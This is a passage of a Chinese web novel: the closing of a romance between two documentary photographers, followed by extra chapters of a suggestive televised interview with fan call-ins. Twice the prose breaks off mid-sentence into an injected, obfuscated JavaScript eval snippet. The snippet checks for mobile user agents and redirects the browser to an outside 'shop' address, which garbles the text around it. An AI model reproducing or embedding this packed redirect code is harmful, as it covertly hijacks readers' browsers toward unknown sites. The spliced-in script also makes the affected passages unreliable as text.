“只是,仅仅写出来不够,没有说给你听。”许藏伸手抚摸阙与山的脸侧,指腹从他的眼皮往下描摹到嘴唇。 既然阙与山的耳朵不好,他以后要说很多遍,说到阙与山都记住,说到他做梦也会梦到,许藏在说我爱你。 就算他听不见,许藏也要写下来,就算他看不见,许藏也要让他触摸到。就算未来,他与自己天各一方,许藏也要托世间的雪,告诉他。 阙与山握住他的手,依恋地蹭了几下,缱绻地换了个称呼道:“知道了,老婆,我也爱你。” 后来的旅行中,阙与山收到了许藏的很多礼物。他突然想起来,两个人还没在一起时,许藏曾说过一句话。 他想不明白,于是转头问正在拍他的许藏,疑惑地道:“为什么我在玉琼雪林过生日的时候,想让你送我礼物,你却说‘我没有可以送你的了’?” “因为……”许藏从口袋里抓出一张存储卡,光明正大地说,“当时,属于我们两个之间的回忆,仅剩这张存储卡。 他学着阙与山那样喊人:“老婆,如果把这个再送给你,我就一无所有了。” “是老公。”阙与山纠正道。 许藏心安理得地应了一声:“嗯,老婆真乖。” 阙与山不跟他计较这些,将那张存储卡接了过来,仔细观察才发现,这正是他在玉琼雪林时丢的那张,属于他第一个相机的存储卡。 许藏在玉琼雪林的时候,经常用着那款相机拍照。 于是,阙与山不解地问:“你为什么要拿走一张存储卡?” 任谁看来,仅仅拿走一张存储卡,异常可笑。 可是在十四年前,别说一张存储卡的空间,许藏连一张照片的位置都求不到。 彼时,许藏的父母有四台相机,八张存储卡。 他拿起来在阙与山的面前捣鼓半天,在阙与山没有发现的时候给他拍了很多张照片。 最后,那些照片被父母强制删除,许藏在一旁苦苦哀求了半天,都没有撼动他们的心,也没能阻止删除键的按落。 他父母给的理由虽说委婉,但到底扎心,他们认为阙与山不配占有他们一张照片的空间。 是啊,那样有名的自然摄影师,连一张雪村里阙与山的照片都难以包容。 所以,尽管从他父母的电话联系到他的可能性更大,为了防止阙与山打通电话时听到一些伤心的话,许藏最终还是决定要寄信给阙与山。 从始至终,阙与山都是许藏一个人的事情。 许藏当年就想,想了很多年,如果他能拥有一张照片的空间、一张存储卡的容量,那里面只会是阙与山,只能有阙与山。 时至今日,许藏已经拥有完整的阙与山,却依然觉得自己因为缺失了那些照片,便像是缺席了阙与山的十六岁。 他没有回答这个问题,转而抛出另一句话:“阙与山,告诉你一个秘密。 “我不喜欢摄影,一点都不,从来都不。” “你当年看到我拿相机,只是因为我想给你拍照,只是因为你。” 许藏接着又说:“还有在秋城广播大楼,给你说的那些扎心话。不喜欢摄影是真的,不想和你去赤霜河、不喜欢喝茶、不喜欢你给我的奶茶,都是假的。 “之前所有,和你有关的,都是气话,和你无关的,都是事实。” 年假结束后,许藏回到秋城广播大楼,继续做他的电台节目,讲他的恐怖故事。 阙与山就搬了自己的东西,强势入住到许藏的家里,晚上坐在沙发上听许藏的广播节目。 他要听着许藏的故事,直到接许藏下班。 阙与山将许藏拿走的那张存储卡连在笔记本上,一张张地看过去。 在玉琼雪林木屋杂物间,许藏抓拍他的照片。 木屋廊下,许藏从后拍下他凭栏杆的背影。 蹲守又一春的地方,许藏拍下漫天星辰和他。 日出时的他,小瀑布踩水的他,温泉时趴在岸边睡觉的他,睡觉时被系上素罗的他。 以及很多拍摄纪录片时的他。 恰在此时,许藏的声音从收音机里传来:“我向山灵呐喊祈祷,天边的日、夜间的星一同降下谕言。 “从此以后,每日都有雪,概率百分百。” 33. 后采1[番外] “驯鹿北迁”纪录片经过整合剪辑,在电视上播出后,无论是谲丽的景色画面、还是恰到好处的讲解出镜,广受观众的好评,收视率居高不下。 观众粉丝致电,强烈要求主副摄影一同参加采访,并向纪录片项目组提了很多建议,最终负责人决定收集观众来电问题,汇集后在双人采访上向两位摄影提问,满足观众粉丝的心愿同时,延长采访时间,最后随机抽取观众,现场连线。 阙与山收到纪录片项目组负责人的采访邀约时,正趴在许藏卧室的床边写东西。 他之所以失去了睡床的资格、只能在床边打地铺,是常常在许藏下晚班回家后,以各种恶劣的手段,让许藏强行兴奋起来,一直折腾到快中午才放手,抱许藏洗澡回来时他几乎已经熟睡。 循环往复,连上五年深夜节目都没请过假的许藏彻底吃不消了,因为阙与山的折腾还时不时地向深夜广播组临时请假。 虽说组里时常碍于纪录片项目组的面子批假,但深夜广播组组长的脸都快要挂不住了。 因此,为了世界的和平,为了幸福的生活,为了身体和睡眠,许藏冷酷无情地将阙与山赶到了外屋,只是每次醒来都能在床边看到他在那里趴着,像只小狗等待主人醒来。 许藏的睡颜近在咫尺,阙与山看了几眼,勾起嘴角,伸手捏了捏对方的脸颊,回复了负责人一条短信。 他随便抽了一张空白的纸,在其上写了几句留给许藏睡醒后看的话,合上笔盖,将手中的照片连带着那张纸一起放到了床头的位置。 阙与山离开家悄无声息,许藏没有受到任何影响。 他醒来后,睡眼惺忪地抓起床头的纸放在眼前,聚焦了半天才认出阙与山写的字,内容大意是他先去电视台商讨采访流程,许藏睡醒了去就行。 许藏将那张留言条下面的几张照片翻到了眼前,是阙与山在沙漠戈壁拍的那组照片,其中有沙棘花棒等,在黄沙漫天映衬下如路边野草一样,但在阙与山的镜头下却显现着别样的生机。 他熟练地将照片翻了过来,如愿地在背后看到了阙与山的回复。 “亲爱的许藏哥哥、最喜欢的电台主播 “见字想我,每日早上被你关在卧室门外,只能等你上班后,才能进卧室,命苦。 “哥哥的被窝好香,想一直闻,祝好” 自从在雪村发现一箱来自许藏的信后,阙与山只要有空就会给他写回复,一开始找不到好的载体,寻了一圈盯上了另一箱要给许藏的照片。 只是阙与山的回复,从一开始的严肃工整,到现在变得极其不着调。 通常许藏看回复的这个时间点,阙与山借着“有看不懂的我可以给你直说”的理由,光明正大地爬床,将他圈进怀里,手脚不老实地乱动。 习惯是一件很可怕的事情,只是今日没有醒来见到阙与山,许藏的心情不仅差了很多,连房间都觉得凄凉起来。 他抓过手机,拨通了阙与山的电话,在等待的时间里,翻到了下一张照片。 “亲爱的许藏哥哥、最喜欢的电台主播 “三个小时没有看到你了,好想你,哥哥什么时候能跳槽到楼上的电视台,只听声音有点难以出来。 “哥哥的衣服好香,想一直埋着,祝身体好” 许藏刚看完这封回复,电话就接通了,传来了阙与山的声音:“哥哥醒了?看到我的回复了吗?” “看到了。阙与山,”许藏眯了眯眼睛,坏心眼地哑着嗓子开口,“我好想你,想要你。” 清楚地听到电话那头的阙与山呼吸一窒,许藏勾起唇角笑了笑。 “许藏,只撩不负责,是会被抓到床上,”阙与山好像专门换了一个地方,手掌捂住声音,闷闷地传进电话里,“搞死的。” “被关在笼子里太多天,闷坏了吧?”许藏有恃无恐地说道,“怎么办,好可惜啊,今天的小狗怕是也不能得逞了。” 他快速地把电话挂了之后,又给阙与山发了条“正在路上”的短信。 仅仅一通电话的时间,许藏的心情瞬间由阴转晴。 他起身洗漱,穿好衣服后,盛了一碗阙与山备着的小米粥,配着其他食物浅浅垫了下肚子后出了门。 许藏赶到秋城广播大楼,刚出电梯就看到走廊上,梁又因一只胳膊挂在阙与山的身上,咋咋呼呼不知在说什么。 他眯了眯眼,几步走了上去,将梁又因的手臂抓了下来,扯了一抹笑:“你怎么来了?” 梁又因回身看到许藏,更加兴奋,两只手猛地抓住许藏,手舞足蹈地说道:“许哥好久不见!我刚下班,听组里说‘驯鹿北迁’纪录片的采访就在今天,忙挤了上来。 “没想到我竟然能有幸和纪录片的两位摄影吃过饭,我跟身边的人说,他们都不信。从赤霜河纪录片,我就开始追了,阙老师的摄影水平太高超了,给我看得很震撼,只是之前几次采访都没找到阙老师,这次好不容易上来了,高低让他给我签个名。” 许藏的笑挂在脸上,有点僵硬,他语调有点沉:“是吗?” 一旁的阙与山看到许藏的手被梁又因抓住,想到之前他说自己是许藏的粉丝,微微蹙眉,然后挤到了中间,把梁又因的爪子挤掉,拍着他的肩对着梁又因说:“你不是找我签名吗?东西拿来,一会儿采访开始了。” 打发走梁又因后,阙与山随便扯了一个理由,将许藏拉到了楼梯间、推在门上,先发制人质问道:“你为什么让他抓手?” 他抓起许藏的手,用湿巾擦了擦,放在嘴旁吻了几下。 “阙老师的魅力还真是大啊。”许藏虽然被阙与山和门夹在中间,气势不减半分,微微垂眸盯着他,被握住的手蜷了几下,用力摩挲阙与山的唇,将它揉至艳红。 “到哪里都是你的小粉丝,你说我是不是应该买根链子、把你拴起来,不能出门、不能见人,只能在我的床边活动。” “好呀,我只看哥哥,只伺候哥哥,只让哥哥,爽。”阙与山吻了几下许藏的指腹,倾身而上,侵略他的齿关、掠夺他的气息,挤进他的腿间,让许藏只因自己身体不稳。 他搂着许藏的腰不让他下坠,半晌退开,凑在他的耳侧,喘着问:“许藏,我在吃醋,你能不能永远只给我看,只给我碰,只给我……” 采访很快就开始了,打杂的小赵看到两人进到采访间后,表情莫名很兴奋。 一旁的负责人戳了戳她,问道:“傻笑什么呢?” “姐!妈妈!我磕到真的了!”小赵捂住嘴企图压下声音,可依然招来了周围人的视线。 负责人挑了挑眉,问道:“你说阙许?何以见得?” “你看到了吗?!他俩去了趟楼梯间,那么久!我就不信什么都不干!而且,最重要的是什么!他们一起出来时,嘴巴都是红红的,还有点肿!这不是do了是什么……不好意思,有点激动。” 小赵平复了下心情:“这不是亲了是做了吗!有点语无伦次,你能理解就好。” 负责人若有所思地点了点头:“我能理解。” 她拿起一旁的对讲机,声音传到了访谈者的耳麦:“采用最热辣劲爆的那套问题,务必给我套出来他们的关系。” 访谈者笑着开场,将目光转向对面的两人,说道:“欢迎两位,两位跟屏幕前的观众们打个招呼吧,他们期待双人采访很久了。” 许藏点了点头,率先说道:“大家好,这是我的搭档,也是本次‘驯鹿北迁’纪录片的主摄,阙与山。” 几乎所有人都没有想到,许藏开场就将二人的气氛拉到了高点。 阙与山愣了一下,立马笑着接道:“大家好,这是我的副摄,许藏。” 这句话比上句话更有歧义,也更显暧昧,访谈者眼眸一转,接道:“相信看过纪录片的观众都知道,我们主副摄影合作无间、默契十足。 “两位也在曾经的采访中,都表达了对对方的欣赏。两位的见解,以及对纪录片的工作也是不谋而合。 “我想替广大观众朋友问一个问题,好奇两位最近一次不合是什么时候?” 许藏想了想,回道:“刚刚,采访前。” 阙与山也点了点头:“确实就在刚刚。” “这个答案很令人惊讶,不知是什么事情能让两位不合?”访谈者又问,“那两位意见不合时是怎么沟通,或是怎么解决矛盾的?” “涉及第三方,我就不说是为什么了。”阙与山勾了勾嘴角,语出惊人:“我们两个解决矛盾的方式很简单,随便找个地方打一架。 “通常就是,许老师抓我一下,我咬他一口。” 访谈者的表情有一瞬的僵硬,转过视线看向许藏,想要寻求一个正常的答案。 谁曾想,许藏也顺着阙与山的答案道:“是的。通常我咬阙老师的时候,他会掐我。” 访谈者干笑了两声,调侃道:“两位的解决方式还真是,简单粗暴、与众不同。” “很高效不是吗?”阙与山歪了歪头,“再大的矛盾,打一架就解决了。实在不行,就再打一架,打到两个人都没有力气说话。” 访谈者立马切到下一个话题:“我们在这次双人采访前,向观众朋友们征集了一些问题,那么接下来,请二位根据这个板子上出现的问题进行作答。 “每个问题会给两位十秒的时间,然后相继给出答案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233903|197646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,两个答案间隔不得多于五秒,两位不能看对方说什么就说什么,一定要依据自己的感受作答。 “两位准备好了,我们现在就开始。” Q1:您怎么称呼对方? 阙与山:“许藏。” 许藏:“阙与山。” Q2:您希望对方怎么称呼自己? 阙与山:“哥哥。” 许藏:“哥哥。” Q3:对对方的第一印象? 阙与山:“心善。” 许藏:“傻傻的。” 第四个问题将要在板子上出现时,访谈者听到耳麦里的指引,说道:“打扰二位一下,采访的热度持续飙升,不少观众朋友们在这个阶段打电话来,想要现场连线。 “那么现在,我们先接进来第一位幸运观众。” 电话嘟了几声,嘈杂的声音夹着电流音传来,电话那头好似挤了很多人,七嘴八舌地开口。 “访谈的你会不会磕?换我这个领磕员来!” “涉及第三方等于有第三者等于吃醋,也就是说他们俩刚刚不合是因为吃醋!” “谁家打架的时候跟猫猫狗狗一样抓咬掐,不都是抡上去往死里揍吗?” “众所周知,打架就是do,就是调那个情,吃醋了就做一次,还不解气就再做一次!” 电话声音瞬间被调小了,后面的工作人员和热情的观众们沟通了一下。 她们清清嗓子,庄重地说道:“亲爱的阙老师,敬爱的许老师,就当是为了我们,你们好好地回答我们精心准备的问题。 “重点,来自观众们的请求,请以恋人视角回答板子上的问题。” 这通电话终于挂了,整个采访间都松了一口气。 访谈者干笑了两声,问道:“不知二位是否愿意接下观众们留下的挑战,以恋人视角重新回答问题?” 阙与山无所谓地摆了摆手:“小case。” 许藏则是点了点头:“既然是观众朋友们的请求,我们必然会满足。” Q1:您怎么称呼对方? 阙与山:“哥哥。” 许藏:“老婆。” Q2:您希望对方怎么称呼自己? 阙与山:“老公。” 许藏:“老公。” Q3:对对方的第一印象? 阙与山:“神仙。” 许藏:“眼睛很美。” Q4:如果以动物来做比喻,您觉得对方是?为什么? 阙与山:“白鼬,太可爱了。” 许藏:“狼狗,看着很凶。” Q5:对对方有哪里不满么? 阙与山:“不让睡床。” 许藏:“不让睡觉。” Q6:想送对方什么?希望对方送自己什么? 阙与山:“想送我所有能送的,希望他送自己给我。” 许藏:“把我送给他,希望他能送属于我们两个的回忆。” Q7:做什么觉得会心跳加速? 阙与山:“爱。” 许藏:“和他,所有。” Q8:如果对方瞒着你找别人,会怎么做? 阙与山:“抓回去,让他逃不走。” 许藏:“捆起来,让他跑不掉。” Q9:什么时候会觉得自己被爱着? 阙与山:“看到他的时候。” 许藏:“看到他看着我的时候。” Q10:转世后还希望在一起吗? 阙与山:“招了我就别想逃。” 许藏:“我们错过了很久,希望永远在一起。” Q11:两人间有没有安全词? 阙与山:“果木壳算吗?还没给你们看他送我的果木壳,三个做了耳坠,剩下七个编成了手链,好看吧,也很好用,随取随用。” 许藏:“暂时没有,他想的话,不需要停。” Q12:对方最敏感的地方? 阙与山:“肩上的痣、胸口、手指,哥哥好像都很敏感~” 许藏:“眼睛。看到看不到,都很动情。” Q13:觉得对方最疯狂的时候是什么? 阙与山:“软着身体也要翻上来。” 许藏:“连续追吻十次,刚松口气,又啃上来了。” Q14:您觉得自己的爱能否维持永久? 阙与山:“以雪为誓,直到我化作雪。” 许藏:“以雪为誓,概率百分百。” Q15:请对对方说一句话 阙与山:“许藏,我爱你。” 许藏:“阙与山,我爱你。” 34. 后采2[番外] 明明板子上的问题还算正常,也是经过项目组从收集来的观众问题那边挑选出来的,但是让阙与山和许藏两个人一说,问题不仅需要删减,一问二答的环节也只能就此终止。 访谈者听到耳麦中负责人的指挥,说是尺度有点大,台里那边都出警告了。 她的脸都快笑僵了,硬着头皮打断了两个人,还得把话题往纪录片上带:“看来我们纪录片的两位摄影还是如此有默契,就连满足观众朋友们的心愿,扮演恋人回答问题,也如此的默契。 “众所周知,这是二位第二次合作拍摄纪录片,不知与上次相比,有什么更加深刻的感受?” “一开始得知许藏老师没空参与第二次纪录片拍摄时,心情很差。”阙与山笑了一下,顺着访谈者的话,继续官方地说道,“拒绝了负责人多次另请副摄的提议,只因许藏老师确实在工作上和我很合拍。 “好在我及时在得知这件不幸的消息后,亲自编辑邀请短信给许藏老师发过去了,才换得这次合作的机会。 “赤霜河的纪录片,我们只来得及合作了一周的时间便匆匆走散。我很感谢这次‘驯鹿北迁’纪录片,让能够和许藏老师更深地交流,并共事两三个月,我发现我们在生活上也很合拍。 “一次比一次更了解对方,我觉得这是主副摄影之间应该做到的,也都是为了呈现更好的内容给观众们。” 访谈者笑了笑,调侃道:“看来阙与山老师很喜欢他的副摄,恐怕以后有项目想挖阙老师,还得从许藏老师下手。 “不知,许藏老师对这次纪录片拍摄是什么感受?” 许藏想了想,缓缓说道:“面对更加险峻的自然环境,更多的是庆幸吧。 “虽然目前播出的‘驯鹿’北迁片段看起来很美,但美与危险永远共存。这次纪录片本来预计两个多月,跟随驯鹿直到繁殖地就可以结束,然而经过沉霭河谷的时候,正巧是雨期。 “我之前总从别人的口中得知泥石流这三个干瘪的字眼,这次遇上后,才知道原来我们真的很渺小,只能眼睁睁地看它带来毁灭。 “阙老师也因此倒下,我背着他在大雨了走了很久,总觉得自己像是一只蚂蚁、一株风滚草,忙忙碌碌无所依存。感谢自然带给我们生命,却又自私地埋怨它不近人情。 “总之,见惯了自然的一切,便总会想更好地活着,希望各位也是。” 访谈者严肃地点了点头,非常认同地说道:“自然是严酷的温床,毁灭和生命总是猝不及防。 “据我所知,阙老师在当地医院住院观察了很久,在出院的当天就投入了纪录片的拍摄工作中,这股不屈的精神令人钦佩。 “目前,我们的‘驯鹿北迁’纪录片还在火热播出中,欢迎观众们准时收看,了解常年奔赴千里的种群,探秘北迁的风景。 “那么,接下来,将采访者的角色让给我们的观众朋友,接听第二位观众来电。” 电话嘟了几声后接通了,那头应该是一男一女,男生声音很小很腼腆,两人稍微交流一两句后,女生开口说道:“阙老师、许老师,你们好,我是你们的cp粉……顺嘴了,就是你们两个我都很喜欢,我朋友也很喜欢你们! “我朋友比较露怯,让我带为表达,他说‘驯鹿北迁’的纪录片超级好看,逐青林的雪很美。 “啊对了,我听说向导是阙老师的粉丝,这是真的吗?” 许藏勾了勾嘴角,率先开口道:“是真的,斐然特别喜欢阙老师,喜欢很多年了,还因为阙老师的作品才走入向导的行业。” 他的咬字特别明显,生怕接听的观众听不到。 一下子,电话那头的声音居然杂乱了起来,七嘴八舌地讨论起来。 “我去,姐妹们,居然是真的……李不会真是……看着不像……阙老师怎么可能脚踩两……” “我的阙许不能拆!” “许阙!喜鹊cp明明更香!” 吵闹了一阵后,最开始的那位女生才抢回了电话使用权,抱歉地说道:“不好意思,我的朋友们有点激动…… “所以,阙老师,许老师说得是真的吗!你真的脚踩……啊呸,李向导真的是你的粉丝?” “一开始是,”阙与山特意顿了一下,表情沾了点委屈,“只不过后来,向导被许老师的魅力折服了,天天跟在许老师的身后,许老师长许老师短。 “我想跟自己的副摄交流一下纪录片,都得排队。” “啊~吃醋啊~”女生总结完,突然意识到自己还在和电视台打电话,立马将话拐了回来,“我是说,许老师的魅力确实很大,我们都很喜欢他。” 许藏闻言,笑了几下,说道:“阙老师的魅力不遑多让,采访前还有我们组的新人找他要签名。” “啊~你也在吃醋……嘴不过脑子。”女生啪地扇了自己的嘴巴一下,瞬间严肃地更正,“我的意思是,阙老师的魅力一直都在。 “谢谢两位老师配合,我没有问题了。希望两位可以一直做……合作下去。” 访谈者适时地总结一下,将话题转到了第三位连线的观众上,电话刚一接通,那边就开启了福尔摩斯模式。 “让我来当磕学家分析一下,刚刚两位纪录片摄影冠冕堂皇的话。 “首先是阙说,副摄只能是许,不然谁都不行。其次,阙亲自邀请许回来参加拍摄,怎么邀请的我不说。然后,阙说与许工作上合拍,生活上更合拍,怎么合拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233904|197646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不言而喻。 “许如此话少的一个人,连深夜广播电台节目,除了故事一句话都不多说,却在刚刚虚与委蛇那么久,证明什么?他真的心疼阙生病了,还有意帮阙隐瞒真实病情,所言皆为真情实感,不带一点卖惨。” “总结完毕,我想问两位老师,什么时候我们的纪录片能拍到大草原?”他停顿了一下,转而道,“我建议拍到大草原的时候,应该融入当地,项目组给两位老师一匹马就行。 “‘驯鹿北迁’纪录片中,两位共骑一匹马的场景只有三秒,鬼知道我们将那三秒剪出来循环了多少次,而且还是出自老刘之手,那画面糊的,建议下次两位老师架相机自己来拍。” 阙与山听完若有所思道:“下次可以考虑,单出一个幕后花絮,满足各位的心愿。 “我和负责人也商议过,下次纪录片的拍摄地将由观众们投票决定。我们会出几个方案发布,届时还望各位捧场。” 第四位连线的观众很激动:“啊!两位老师好!纪录片很好看,超级好看! “啊对了,两位什么时候结婚?我的意思是,可以在电视上同步播出吗?” 许藏特别给面子地回道:“不是已经播出了吗?” 因为许藏的纵容,此后的观众来电一发不可收拾。 第五位连线的观众:“两位老师好,我和他们不一样,我是真的热爱纪录片。 “对了,说到片……不对,纪……也不对,录……我说话有点那个,两位容忍一下。其实我想问的是,你们的位置……也就是,在纪录片里的位置。” 阙与山点了点头,煞有介事地说道:“我懂,你不就是想问位置吗?我是主摄,懂了吗?” 第六位连线的观众其一:“不懂就问,主摄是第一个摄的意思吗?” 观众其二:“万一我们许哥是柏拉图呢?” 观众其三:“别逗你许哥笑了,少造你阙哥白谣了。” 阙与山面无表情地纠正:“主摄,就是主要的摄。” 第七位连线的观众:“学到了,副摄就是副摄。那向导也是你们其中的一环吗?” 许藏微笑地回答:“私人恩怨,不涉及第三方。” 观众来电的问题太过露骨,访谈者只能满头是汗地将他们的话都转化成正常的、能播的语言。 为此,即将结束时,她松了一口气,并真心实意地面对着闪着红点的摄像机说道:“那么这次的‘驯鹿北迁’纪录片双人采访到此将要结束,在此祝收视长虹,两位摄影天长地久、一直合作下去。 “愿屏幕前所有观众朋友们,都有愉快的每一天!” 阙与山和许藏一起向镜头招手,异口同声:“下次见。”